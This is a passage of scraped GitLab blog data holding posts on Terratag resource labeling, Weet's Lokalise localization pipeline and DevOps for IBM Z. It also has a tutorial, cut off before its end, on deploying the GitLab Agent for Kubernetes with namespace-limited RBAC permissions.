changes.\n\n[https://gitlab.com/env0/terratag-blog-post/-/blob/main/.gitlab-ci.yml](https://gitlab.com/env0/terratag-blog-post/-/blob/main/.gitlab-ci.yml)\n\nSince Terratag scans the entire Terraform code, including any Terraform modules you may be using, we need to run the `terraform init` command before we run the Terratag command, since the init command will download all the relevant modules so Terratag can scan them.\n\nWe can see two resources in this code:\n\n* `google_compute_network`: This resource sets up the VPC. Terratag will not apply labels since the [compute network doesn't allow labels](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_network).\n\n* `google_compute_instance`: This resource sets up the VM. Terratag applies the label that the user defines.\n\nHere is the output of Terratag on this Terraform code:\n\n![tg_2](https://about.gitlab.com/images/blogimages/2021-terratag-env0/tg_2.png)\n\nThis is what this pipeline will look like in the Gitlab UI. When the Terraform plan step is successfully completed, you can manually apply the changes after reviewing the plan, which is also available as an artifact – meaning it can be downloaded and viewed locally.\n\n![tg_3](https://about.gitlab.com/images/blogimages/2021-terratag-env0/tg_3.png)\n\n### How to apply labels on GCP\n\nAs we mentioned before, labeling your resources has a lot of technical, operations, and business benefits. This blog post focuses on the cost benefit of effectivelabeling.\n\nFirst, let's see that the VM we've created is actually tagged correctly.\n\nStart by heading to the Google Cloud console. Next, go to the Compute Engine page and, under VM, search for the VM we've just created. Then, go into the VM Instance details page and see that the label exists with the right value.\n\n![tg_4](https://about.gitlab.com/images/blogimages/2021-terratag-env0/tg_4.png)\n\nNext, go to the Billing section and select \"Reports\". On the right hand side of the page there are filters. Under labels, we can filter the label key and the label value and get the cost of those resources.\n\n![tg_5](https://about.gitlab.com/images/blogimages/2021-terratag-env0/tg_5.png)\n\n### Automate labeling using Terratag\n\nTags and labels play a crucial role in managing a large-scale infrastructure projects and offer significant benefits when using tools such as [Gitlab CI/CD](https://docs.gitlab.com/ee/ci/). [Terratag](https://www.terratag.io/) has the advantage of easing the transition for Terraform users. Adopting Terratag for use with GitLab CI/CD and Terraform will also help establish a standard in your organization when it comes to use of tags and labels, eliminating the need for human intervention on a large-scale project to change your current Terraform code base.\n\nFeel free to check out the [code base](https://gitlab.com/env0/terratag-blog-post) for this blog post and leave us feedback.\n\n_Blog post coauthor [Omry Hay](https://www.linkedin.com/in/omryhay/) is the co-founder and CTO of [env0](http://www.env0.com)_\n",[4103,534],{"slug":17334,"featured":6,"template":678},"gitlab-together-with-terratag-open-source-to-help-you-manage-terraform-resources","content:en-us:blog:gitlab-together-with-terratag-open-source-to-help-you-manage-terraform-resources.yml","Gitlab Together With Terratag Open Source To Help You Manage Terraform Resources","en-us/blog/gitlab-together-with-terratag-open-source-to-help-you-manage-terraform-resources.yml","en-us/blog/gitlab-together-with-terratag-open-source-to-help-you-manage-terraform-resources",{"_path":17340,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17341,"content":17347,"config":17353,"_id":17355,"_type":16,"title":17356,"_source":17,"_file":17357,"_stem":17358,"_extension":20},"/en-us/blog/lessons-weet-learned-lokalise",{"title":17342,"description":17343,"ogTitle":17342,"ogDescription":17343,"noIndex":6,"ogImage":17344,"ogUrl":17345,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17345,"schema":17346},"How Weet integrates localization into the GitLab pipeline with Lokalise","Localization is an increasingly important option for users. Here's how to integrate localization in your GitLab pipeline.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668543/Blog/Hero%20Images/lokalise_cover.png","https://about.gitlab.com/blog/lessons-weet-learned-lokalise","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Weet integrates localization into the GitLab pipeline with Lokalise\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alexander Pereverzevs\"}],\n        \"datePublished\": \"2021-09-13\",\n      }",{"title":17342,"description":17343,"authors":17348,"heroImage":17344,"date":17350,"body":17351,"category":962,"tags":17352},[17349],"Alexander Pereverzevs","2021-09-13","\n\nAs a GitLab customer, Weet has fully invested in the premise of \"Iterate faster, innovate together.\" Weet has a low tolerance for processes that don't keep pace with the way they develop and launch. One important process that was slowing the business down – localizing their app.\n\nLocalization is a key way to drive growth and accelerate product adoption. When done poorly, localization or l10n, as it's commonly known, can slow down your development process, introduce bugs, and make it cumbersome to launch updates. When done right, teams can smooth out the process and [continuously localize](https://lokalise.com/features/localization-process-automation) their app. We unpack how Weet conquered its localization problems using GitLab and Lokalise.\n\n## What is Weet?\n\n[Weet](https://beeweet.com) is an asynchronous video communication tool designed to reduce the need for meetings. By combining video, audio, and screen sharing, it provides the nuance that written communication simply does not. For example, Weet's 10-person team, which is spread between France and the US, uses the product to speed through code reviews. The product has also been used for demos, design feedback, bug reports, QA reviews, and client presentations. At Lokalise, we use the tool to communicate with team members across time zones with ease and clarity.\n\nWeet started using GitLab five years ago and is using the latest version (13.11 as of this writing). For the runner they use 13.11 too, with an auto-scalable configuration (best feature ever!). The instance is self-managed on Google Cloud.\n\nWeet uses roughly 50 pipelines to manage processes such as: building the entire stack of the Weet application, checking the unit tests, deploying to a QA environment, deploying in production, launching the end-to-end tests, and more. The company currently has 17 projects set up, which are combined with GitLab CI/CD to deploy the Weet application.\n\nThey are, in summary... GitLab fans.\n\n## The first l10n solution\n\nWhen Weet first started localizing their app the engineering team considered two options:\n\n1. Download CSV files of strings, email them to the translators, and then reintegrate the data after the translation work was complete\n2. Translate directly in the IDE\n\nBoth options had their drawbacks. Downloading and uploading files takes developers out of the flow, but worse than that, the process can introduce l10n bugs that make the app look unreliable or amateurish. Also, these problems take time to resolve. It's not uncommon for version control to be an issue with this type of system.\n\nWeet chose the Web IDE option because it was easier to get started, but the process wasn't working at the pace they wanted.\n\n>> \"Before we used the Lokalise integration, we had to validate the new wording before each code push. The process was time-consuming as approvers were spread across different time zones,\" - Geraud Bonou-Selegbe, Full-stack engineer at Weet.\n\nHunting through the code to change all the instances of a word that needs to be replaced is not high on anyone's list of fun things to do.\n\nIt wasn't long before Jeremy Rouet, the CTO and co-founder of Weet, started looking for new options. If they wanted to fulfill the CI/CD promise of GitLab, they needed a tool that would integrate cleanly into the pipeline. Jeremy began testing translation management systems (TMS) and settled on integrating [Lokalise with GitLab](https://docs.lokalise.com/en/articles/1789855-gitlab).\n\n## How to continuously localize your product\n\nLokalise integrates into GitLab and allows a user (like Weet) to pull files into Lokalise, where translation tasks can be assigned and completed and then easily merged back.\n\n![Schema of how Lokalise works in GitLab](https://about.gitlab.com/images/blogimages/lokalize1.png){: .shadow.medium.center}\nA schema of how Lokalise works in GitLab.\n{: .note.text-center}\n\nDevelopers code as normal aiming to complete their work prior to each weekly release. Each push on master sends text strings automatically into Lokalise. Lokalise detects any changes to the text, so the developers don't have to remember what exactly they changed. Jeremy then uses the task features in Lokalise to assign the translation tasks to the Weet marketing team, who then go in and check all the new words.\n\nOnce the translation team is done, they create a merge request, and the product is ready to launch.\n\n>> \"Lokalise enabled us to bridge this gap by letting developers do what they do the best: coding. If my phrasing is not perfect, language experts can review it on Lokalise and then send a merge request with their updates. Now we've got the right expert in the right place for each milestone of our development process,\" says Geraud.\n\n![Lokalise Merge Request in GitLab](https://about.gitlab.com/images/blogimages/lokalize2.png){: .shadow.medium.center}\nWhat a merge request looks like using Lokalise and GitLab.\n{: .note.text-center}\n\nGone are the days of manually updating translations in the IDE in order to fix phrasing. Now app localization is a seamless and reliable part of the development workflow of the CI/CD process that is built around GitLab.\n\n## Steps to set up the integration\n\nFull instructions are available here. With over 500 keys in the app, the Weet team created several internal processes to keep their work tidy.\nOne move they made was to split their localization data into 5 projects/files. Each localization is a .json file. The separate files are:\n\n- emails\n- frontend\n- integration\n- server-side rendering\n- mobile – iOS/Android (WIP)\n\nThen to simplify key maintenance they used a naming pattern so that each component has its own keys. When they delete a component, they simply remove the main key from the localization file, which removes each label for this component. See below:\n\n![Deleting a component and removing main key from the localization file](https://about.gitlab.com/images/blogimages/lokalize3.png){: .shadow.medium.center}\nHow to delete a component and remove the main key from the localization file.\n{: .note.text-center}\n\nFinally, they tackled conflicts. The developers are able to edit the localization files both in Lokalise and in their environment. Changes in multiple systems could clash. To solve this problem, they decided that developers can only use Lokalise to update labels and they can only add or remove keys in their local environment.\n\n## What localization delivers\n\nIt took the Weet team some time and trial and error to smooth out the process.\n\nNow that the process is totally seamless, they can localize a new release in less than an hour with just a short quality check. That’s a big improvement from the days when they had to synchronize the dev, PO, and QA teams over a few days, to check and correct the new localization.\n\nWith their ability to continuously localize their app, they can focus on developing and delivering the best product possible. And it seems to be working as they were recently voted the #2 (closed) product of the week on Product Hunt. Coming up on the roadmap – mobile apps and more languages.\n",[2368,232,815],{"slug":17354,"featured":6,"template":678},"lessons-weet-learned-lokalise","content:en-us:blog:lessons-weet-learned-lokalise.yml","Lessons Weet Learned Lokalise","en-us/blog/lessons-weet-learned-lokalise.yml","en-us/blog/lessons-weet-learned-lokalise",{"_path":17360,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17361,"content":17367,"config":17372,"_id":17374,"_type":16,"title":17375,"_source":17,"_file":17376,"_stem":17377,"_extension":20},"/en-us/blog/adopt-agile-and-devops-for-ibm-z",{"title":17362,"description":17363,"ogTitle":17362,"ogDescription":17363,"noIndex":6,"ogImage":17364,"ogUrl":17365,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17365,"schema":17366},"The benefits of DevOps practices for IBM Z","GitLab aims to provide a unified enterprise-wide DevOps platform with enhanced support for IBM Z. Here are three areas that can start to align DevOps and mainframe development.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666262/Blog/Hero%20Images/default-blog-image.png","https://about.gitlab.com/blog/adopt-agile-and-devops-for-ibm-z","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The benefits of DevOps practices for IBM Z\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vick Kelkar\"}],\n        \"datePublished\": \"2021-09-10\",\n      }",{"title":17362,"description":17363,"authors":17368,"heroImage":17364,"date":17369,"body":17370,"category":6634,"tags":17371},[12075],"2021-09-10","\n\nAs more organizations adopt open source software, [DevOps](/topics/devops/) and cloud computing, teams are moving towards a hybrid approach to application development and deployments. This is a particular challenge for siloed mainframe development teams that typically work within their own development tools – and those tools are are not the same ones used by their distributed developer counterparts. These disparate toolsets are not integrated between build, package, test, and deploy steps. GitLab aims to provide a [unified enterprise-wide DevOps platform](/solutions/devops-platform/) with enhanced support for IBM z/OS® applications. Here are three critical areas to focus on that can help bridge the gap between mainframe and \"modern\" DevOps development.\n\n## Common workflows for hybrid environments\n\nDevOps is naturally aligned to Agile processes with its focus on continuous improvements, freqent releases and adherence to business objectives. As organizations adopt a hybrid infrastructure to meet their needs, it becomes extremely important to have a common workflow (and tools!) for continuous software development. The development workflow should be the same whether you are building a [cloud native](/topics/cloud-native/) container application for Red Hat OpenShift or whether you are refactoring COBOL applications on IBM Z. Ideally, in both scenarios, the same source code management, along with Git commit and merge-request workflows should be used, regardless of the type of application code or where it is deployed. The advantage of using the same software development lifecycle methodology and tools allows an organization to drive an enterprise-wide DevOps strategy.  Additionally, this helps organizations to attract mainframe developers, allowing them to move between mainframe and cloud-based application development projects,  enhancing developer job satisfaction, growth and retention.\n\n## Security and compliance vs speed\n\nIn an enterprise-wide mission critical application where security and compliance are paramount, a deployment cadence of once a quarter is considered satisfactory, but in a consumer-facing containerized application (using [microservices](https://about.gitlab.com/topics/microservices/)), multiple deployments can be easily achieved in a single day. Release speeds can differ but software security isn't negotiable. Every organization needs to ensure security by making sure best practices are followed for all application development processes. Ultimately, the ideal situation for every organization would be shortened development cycle times, while at the same time enabling developers to identify any security issues ahead of time. Rather than integrating security tools into the complex DevOps toolchain, a single application for the entire software development lifecycle can improve your security risk posture, simplify compliance/audit, and accelerate software development.  With [DevSecOps methodologies](/solutions/security-compliance/), security testing becomes an integral part of the software development lifecycle (SDLC) eliminating friction between siloed development and security teams, and dramatically improving code quality and deployment cycle times.\n\n## Increase collaboration and automation\n\nDevOps practices and elastic cloud computing resources helpdevelopers become more self-sufficient as they deploy their applications at scale. They can request identical compute resources on every new release of their application. Automating the deployment steps through a CI/CD pipeline makes rolling out the new version of an application more efficient and less prone to errors. While [CI/CD tooling](/topics/ci-cd/) increases automation for software inspection, development and delivery, resilient systems like IBM Z or RedHat OpenShift Container Platform have their own built-in automation to address application testing, reliability and availability.\n\nMost organizations have a security team that looks at the risk posture of an application. This can range from high availability of applications for business continuity reasons, to a vulnerability in a software library.  In most cases, the security team is much smaller than the application development teams and uses different tools to analyze risks. This creates an impediment for organizations to scale and applications to scale in production. Using the same workflow and shared data model between security and development teams allows knowledge sharing and helps break down team silos. For example, a Red Hat OpenShift application developer can create a security Issue in their GitLab Ultimate DevOps Platform, and the security team can comment on that same issue and analyze the risk.\n\nCloud computing and its elasticity offers advantages for certain applications and use cases while on-premise systems like IBM Z offer advantages for high transaction applications and use cases. Red Hat Openshift offers a cloud native approach to application deployments. GitLab Ultimate integrates with container platforms as well as IBM Z environments. This gives customers the flexibility to deploy their application in their desired environment while helping increase automation and Agile practices in their organization.\n\nTo learn more\n\n* Visit[ GitLab Ultimate for IBM z/OS](https://www.ibm.com/products/gitlab-ultimate/zos)\n* Hear GitLab and IBM experts discuss the benefits of integrating GitLab into your DevOps solution -[Automate your Z DevOps CI/CD pipeline with GitLab](https://mediacenter.ibm.com/id/1_djnxx05v)\n* Learn about the management of mainframe apps lifecycle with[IBM Z DevOps and GitLab](https://mediacenter.ibm.com/id/1_oxj8eseu).\n* Take advantage of the[DevOps Acceleration Program](https://ibm.github.io/mainframe-downloads/DevOps_Acceleration_Program/devops-acceleration-program.html) to partner with IBM for a successful transformation\n",[1899,2368,1444],{"slug":17373,"featured":6,"template":678},"adopt-agile-and-devops-for-ibm-z","content:en-us:blog:adopt-agile-and-devops-for-ibm-z.yml","Adopt Agile And Devops For Ibm Z","en-us/blog/adopt-agile-and-devops-for-ibm-z.yml","en-us/blog/adopt-agile-and-devops-for-ibm-z",{"_path":17379,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17380,"content":17386,"config":17390,"_id":17392,"_type":16,"title":17393,"_source":17,"_file":17394,"_stem":17395,"_extension":20},"/en-us/blog/setting-up-the-k-agent",{"title":17381,"description":17382,"ogTitle":17381,"ogDescription":17382,"noIndex":6,"ogImage":17383,"ogUrl":17384,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17384,"schema":17385},"How to deploy the GitLab Agent for Kubernetes with limited permissions"," Learn how to deploy the GitLab Agent for Kubernetes with Limited Permissions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668655/Blog/Hero%20Images/seabass-creatives-U3m4_cKbUfc-unsplash.jpg","https://about.gitlab.com/blog/setting-up-the-k-agent","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to deploy the GitLab Agent for Kubernetes with limited permissions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2021-09-10\",\n      }",{"title":17381,"description":17382,"authors":17387,"heroImage":17383,"date":17369,"body":17388,"category":962,"tags":17389},[1622],"\n\nThe [GitLab Agent for Kubernetes (`agentk`)](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) is an active in-cluster component for solving GitLab and Kubernetes integration tasks in a secure and cloud-native way. The `agentk` communicates to the GitLab Agent Server (KAS) to perform [GitOps](https://about.gitlab.com/topics/gitops/) operations.\n\nIn many examples, we see the agent being deployed with global-level permissions on your Kubernetes cluster. There are use cases where we want to reduce the scope of what agentk has access to. In this guide I will provide information on deploying agentk on your cluster, limiting what namespaces it can access, as well as using it to deploy your applications.\n\nPrefer a video? Watch the walkthrough below to learn how to deploy agentk to your cluster:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/Sr3X5-O9HWA\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## How it works\n\nAnytime a developer performs changes to a manifest file managed within GitLab, the agentk will apply these changes to the Kubernetes cluster.\n\n![Kagent flowchart](https://about.gitlab.com/images/blogimages/kagent-limited/1.png){: .shadow.medium}\nHow a change to a manifest file in GitLab is applied to the Kubernetes cluster.\n{: .note.text-center}\n\nThe `agentk` and the KAS use bidirectional streaming to allow the connection acceptor (the gRPC server, GitLab Agent Server) to act as a client. The connection acceptor sends requests as gRPC replies.\n\n![Bidirectional streaming flowchart](https://about.gitlab.com/images/blogimages/kagent-limited/2.png){: .shadow.medium}\nHow bidirectional streaming with agentk works.\n{: .note.text-center}\n\n- GitLab RoR is the main GitLab application. It uses gRPC to talk to kas.\n\n- `agentk` is the GitLab Agent for Kubernetes. It keeps a connection established to a\nkas instance, waiting for requests to process. It may also actively send information\nabout things happening in the cluster.\n\n- KAS is the GitLab Agent Server, and is responsible for:\n  - Accepting requests from agentk\n  - Authentication of requests from agentk by querying GitLab RoR\n  - Fetching the agent's configuration file from a corresponding Git repository by querying Gitaly\n  - Matching incoming requests from GitLab RoR with existing connections from the right agentk, forwarding requests to it, and forwarding responses back\n  - Polling manifest repositories for GitOps support by communicating with Gitaly\n\n## How to deploy the GitLab Agent\n\nIn order to deploy the agent, we require the following:\n\n- Kubernetes cluster (I am using Google Kubernetes Engine, or GKE)\n- The GitLab project which will hold the agentk configuration and deployment manifest, you can import [Simple Agent K](https://gitlab.com/tech-marketing/devsecops/kubernetes-agent/simple-agent-k) which includes an application and CICD configured\n\n**Note:** The agentk configuration file and deployment manifests can be located in different projects. It just depends how you want to organize the GitOps workflow.\n\n**1. Create `.gitlab/agent/agent-name/config.yaml` directory in your project** and replace `agent-name` with whatever you want to name your agent.\n\n  ```\n  gitops:\n    manifest_projects:\n    - id: \"Your Project ID\"\n      paths:\n      - glob: '/manifests/*.{yaml,yml,json}'\n  ```\n\n  Remember to replace `Your Project ID` with the projectID of your project, seen below:\n\n   ![Replace projectID for your project](https://about.gitlab.com/images/blogimages/kagent-limited/3.png){: .shadow.medium}\n   Fill in the projectID section with your information.\n   {: .note.text-center}\n\n  **Note:** You can also use the path to the project in GitLab, i.e., mygroup/mysub/myproject.\n\n**2. Create agent record in GitLab**\n\n  A GitLab Rails Agent record is used to associate the cluster with the configuration repository project.\n\n  - Go to **Infrastructure > Kubernetes** tab\n\n   ![Click Kubernetes cluster tab](https://about.gitlab.com/images/blogimages/kagent-limited/4.png){: .shadow.medium}\n   Click the Kubernetes cluster tab in GitLab.\n   {: .note.text-center}\n\n  - Click on the **GitLab Agent managed clusters** tab\n\n   ![Click GitLab Agent tab](https://about.gitlab.com/images/blogimages/kagent-limited/5.png){: .shadow.medium}\n   What the GitLab Agent tab looks like\n   {: .note.text-center}\n\n  - Click the **Install a new GitLab Agent** button\n\n   ![Click Install new GitLab Agent button](https://about.gitlab.com/images/blogimages/kagent-limited/5.png){: .shadow.medium}\n   What the \"Install new GitLab agent\" button looks like.\n   {: .note.text-center}\n\n  - Select your agent\n\n   ![How to select your agent in GitLab](https://about.gitlab.com/images/blogimages/kagent-limited/6.png){: .shadow.medium}\n   How to select your agent in GitLab\n   {: .note.text-center}\n\n  - Save the provided token\n\n   ![How to save your provided token](https://about.gitlab.com/images/blogimages/kagent-limited/7.png){: .shadow.medium}\n   Click here to save your provided token.\n   {: .note.text-center}\n\n**3. Open a Terminal window**\n\n**4. Scope kubectl to your cluster**\n\n  ```\n  $ gcloud container clusters get-credentials fern-gitops-2 --zone us-central1-c --project group-cs-9b54eb\n\n  Fetching cluster endpoint and auth data.\n  kubeconfig entry generated for fern-gitops-2.\n  ```\n\n**5. Create the namespace for the Kubernetes agent**\n\n  ```\n  $ kubectl create ns gitlab-kubernetes-agent\n\n  namespace/gitlab-kubernetes-agent created\n  ```\n\n**6. Create agent secret**\n\n  This secret is used to store the token needed to configure the agent.\n\n  ```\n  $ kubectl create secret generic -n gitlab-kubernetes-agent gitlab-kubernetes-agent-token --from-literal=token='YOUR_AGENT_TOKEN'\n\n  secret/gitlab-kubernetes-agent-token created\n  ```\n\n**7. Apply the agentk deployment with limited access**\n\n  In this deployment below, we will create the following:\n\n### Namespaces\n\n  - **gitlab-kubernetes-agent**: Where the agent will be deployed\n  - **dude**: A namespace where agentk has permission to deploy\n  - **naww**: A namespace where the agentk has no permissions\n\n### Service accounts\n\n  - **gitlab-kubernetes-agent**: Service account used for running agentk\n\n### Deployments\n\n  - **gitlab-kubernetes-agent**: The actual agentk client application\n\n### Cluster roles and bindings\n\n  - **gitlab-kubernetes-agent-write-cm:** Permission for agentk to write all configmaps on the cluster\n  - **gitlab-kubernetes-agent-read-cm:** Permission for agentk to read all configmaps on the cluster\n\n### Roles and bindings\n\n  - **gitlab-kubernetes-agent-write**: Permission for agentk to write all resources on gitlab-kubernetes-agent ns\n  - **gitlab-kubernetes-agent-read**: Permission for agentk to read all resources on gitlab-kubernetes-agent ns\n  - **gitlab-kubernetes-agent-write-dude**: Permission for agentk to write all resources on dude ns\n  - **gitlab-kubernetes-agent-read-dude**: Permission for agentk to read all resources on dude ns\n\nThe next step is to create the deployment file `agentk.yaml`:\n\n  ```\n  apiVersion: v1\n  kind: Namespace\n  metadata:\n    name: dude\n  ---\n  apiVersion: v1\n  kind: Namespace\n  metadata:\n    name: naww\n  ---\n  apiVersion: v1\n  kind: ServiceAccount\n  metadata:\n    name: gitlab-kubernetes-agent\n    namespace: gitlab-kubernetes-agent\n  ---\n  apiVersion: apps/v1\n  kind: Deployment\n  metadata:\n    name: gitlab-kubernetes-agent\n    namespace: gitlab-kubernetes-agent\n  spec:\n    replicas: 1\n    selector:\n      matchLabels:\n        app: gitlab-kubernetes-agent\n    template:\n      metadata:\n        labels:\n          app: gitlab-kubernetes-agent\n        namespace: gitlab-kubernetes-agent\n      spec:\n        serviceAccountName: gitlab-kubernetes-agent\n        containers:\n        - name: agent\n          image: \"registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:stable\"\n          args:\n          - --token-file=/config/token\n          - --kas-address\n          - wss://kas.gitlab.com # for GitLab.com users, use this KAS.\n          volumeMounts:\n          - name: token-volume\n            mountPath: /config\n        volumes:\n        - name: token-volume\n          secret:\n            secretName: gitlab-kubernetes-agent-token\n    strategy:\n      type: RollingUpdate\n      rollingUpdate:\n        maxSurge: 0\n        maxUnavailable: 1\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: ClusterRole\n  metadata:\n    name: gitlab-kubernetes-agent-write-cm\n  rules:\n  - resources:\n    - 'configmaps'\n    apiGroups:\n    - ''\n    verbs:\n    - create\n    - update\n    - delete\n    - patch\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: ClusterRoleBinding\n  metadata:\n    name: gitlab-kubernetes-agent-write-binding-cm\n  roleRef:\n    name: gitlab-kubernetes-agent-write-cm\n    kind: ClusterRole\n    apiGroup: rbac.authorization.k8s.io\n  subjects:\n  - name: gitlab-kubernetes-agent\n    kind: ServiceAccount\n    namespace: gitlab-kubernetes-agent\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: ClusterRole\n  metadata:\n    name: gitlab-kubernetes-agent-read-cm\n  rules:\n  - resources:\n    - 'configmaps'\n    apiGroups:\n    - ''\n    verbs:\n    - get\n    - list\n    - watch\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: ClusterRoleBinding\n  metadata:\n    name: gitlab-kubernetes-agent-read-binding-cm\n  roleRef:\n    name: gitlab-kubernetes-agent-read-cm\n    kind: ClusterRole\n    apiGroup: rbac.authorization.k8s.io\n  subjects:\n  - name: gitlab-kubernetes-agent\n    kind: ServiceAccount\n    namespace: gitlab-kubernetes-agent\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: Role\n  metadata:\n    namespace: gitlab-kubernetes-agent\n    name: gitlab-kubernetes-agent-write\n  rules:\n  - resources:\n    - '*'\n    apiGroups:\n    - '*'\n    verbs:\n    - create\n    - update\n    - delete\n    - patch\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: RoleBinding\n  metadata:\n    namespace: gitlab-kubernetes-agent\n    name: gitlab-kubernetes-agent-write-binding\n  roleRef:\n    name: gitlab-kubernetes-agent-write\n    kind: Role\n    apiGroup: rbac.authorization.k8s.io\n  subjects:\n  - name: gitlab-kubernetes-agent\n    kind: ServiceAccount\n    namespace: gitlab-kubernetes-agent\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: Role\n  metadata:\n    namespace: gitlab-kubernetes-agent\n    name: gitlab-kubernetes-agent-read\n  rules:\n  - resources:\n    - '*'\n    apiGroups:\n    - '*'\n    verbs:\n    - get\n    - list\n    - watch\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: RoleBinding\n  metadata:\n    namespace: gitlab-kubernetes-agent\n    name: gitlab-kubernetes-agent-read-binding\n  roleRef:\n    name: gitlab-kubernetes-agent-read\n    kind: Role\n    apiGroup: rbac.authorization.k8s.io\n  subjects:\n  - name: gitlab-kubernetes-agent\n    kind: ServiceAccount\n    namespace: gitlab-kubernetes-agent\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: Role\n  metadata:\n    namespace: dude\n    name: gitlab-kubernetes-agent-write-dude\n  rules:\n  - resources:\n    - '*'\n    apiGroups:\n    - '*'\n    verbs:\n    - create\n    - update\n    - delete\n    - patch\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: RoleBinding\n  metadata:\n    namespace: dude\n    name: gitlab-kubernetes-agent-write-binding-dude\n  roleRef:\n    name: gitlab-kubernetes-agent-write-dude\n    kind: Role\n    apiGroup: rbac.authorization.k8s.io\n  subjects:\n  - name: gitlab-kubernetes-agent\n    kind: ServiceAccount\n    namespace: gitlab-kubernetes-agent\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: Role\n  metadata:\n    namespace: dude\n    name: gitlab-kubernetes-agent-read-dude\n  rules:\n  - resources:\n    - '*'\n    apiGroups:\n    - '*'\n    verbs:\n    - get\n    - list\n    - watch\n  ---\n  apiVersion: rbac.authorization.k8s.io/v1\n  kind: RoleBinding\n  metadata:\n    namespace: dude\n    name: gitlab-kubernetes-agent-read-binding-dude\n  roleRef:\n    name: gitlab-kubernetes-agent-read-dude\n    kind: Role\n    apiGroup: rbac.authorization.k8s.io\n  subjects:\n  - name: gitlab-kubernetes-agent\n    kind: ServiceAccount\n    namespace: gitlab-kubernetes-agent\n  ```\n\nNow we can apply the deployment with the following command:\n\n  ```\n  $ kubectl apply -f k-agent.yaml\n\n  namespace/dude created\n  namespace/naww created\n  serviceaccount/gitlab-kubernetes-agent created\n  deployment.apps/gitlab-kubernetes-agent created\n  clusterrole.rbac.authorization.k8s.io/gitlab-kubernetes-agent-write-cm created\n  clusterrolebinding.rbac.authorization.k8s.io/gitlab-kubernetes-agent-write-binding-cm created\n  clusterrole.rbac.authorization.k8s.io/gitlab-kubernetes-agent-read-cm created\n  clusterrolebinding.rbac.authorization.k8s.io/gitlab-kubernetes-agent-read-binding-cm created\n  role.rbac.authorization.k8s.io/gitlab-kubernetes-agent-write created\n  rolebinding.rbac.authorization.k8s.io/gitlab-kubernetes-agent-write-binding created\n  role.rbac.authorization.k8s.io/gitlab-kubernetes-agent-read created\n  rolebinding.rbac.authorization.k8s.io/gitlab-kubernetes-agent-read-binding created\n  role.rbac.authorization.k8s.io/gitlab-kubernetes-agent-write-dude created\n  rolebinding.rbac.authorization.k8s.io/gitlab-kubernetes-agent-write-binding-dude created\n  role.rbac.authorization.k8s.io/gitlab-kubernetes-agent-read-dude created\n  rolebinding.rbac.authorization.k8s.io/gitlab-kubernetes-agent-read-binding-dude created\n  ```\n\n  **Note:** You see we are giving permissions to the gitlab-kubernetes-agent on the `dude` namespace, but not on the `naww` namespace. Currently, permissions for ConfigMaps are necessary but the scope can be reduced.\n\n**8. Make sure agentk is running**\n\n  ```\n  $ kubectl get pods -n gitlab-kubernetes-agent\n\n  NAME                            READY   STATUS    RESTARTS   AGE\n  gitlab-agent-58869d96bd-nqqnf   1/1     Running   0          10s\n  ```\n\nNow that the agentk is deployed, it can start managing our Kubernetes deployments.\n\n## Managing deployments\n\nNow let's go back to the GitLab UI, and add some applications to deploy using GitOps.\n\n**1. Open the Web IDE and create a manifest folder in your project root**\n\n**2. Add a manifest file for what you want to deploy on the `dude` namespace, name it `dude.yaml`**\n\n  ```\n  apiVersion: apps/v1\n  kind: Deployment\n  metadata:\n    name: nginx-deployment-dude\n    namespace: dude  # Can be any namespace managed by you that the agent has access to.\n  spec:\n    selector:\n      matchLabels:\n        app: nginx\n    replicas: 1\n    template:\n      metadata:\n        labels:\n          app: nginx\n      spec:\n        containers:\n        - name: nginx\n          image: nginx:1.14.2\n          ports:\n          - containerPort: 80\n  ```\n\n**3. Add a manifest file for what you want to deploy on the `naww` namespace and name it `naww.yaml`**\n\n  ```\n  apiVersion: apps/v1\n  kind: Deployment\n  metadata:\n    name: nginx-deployment-naww\n    namespace: naww  # Can be any namespace managed by you that the agent has access to.\n  spec:\n    selector:\n      matchLabels:\n        app: nginx\n    replicas: 1\n    template:\n      metadata:\n        labels:\n          app: nginx\n      spec:\n        containers:\n        - name: nginx\n          image: nginx:1.14.2\n          ports:\n          - containerPort: 80\n  ```\n\n**4. Commit changes and wait for the pipeline to run**\n\n**5. Check dude namespace**\n\n  ```\n  $ kubectl get pods -n dude\n\n  NAME                                     READY   STATUS    RESTARTS   AGE\n  nginx-deployment-dude-66b6c48dd5-rpxx2   1/1     Running   0          6m22s\n  ```\n\n  Notice that the application has deployed.\n\n**6. Check naww namespace**\n\n  ```\n  $ kubectl get pods -n naww\n\n  No resources 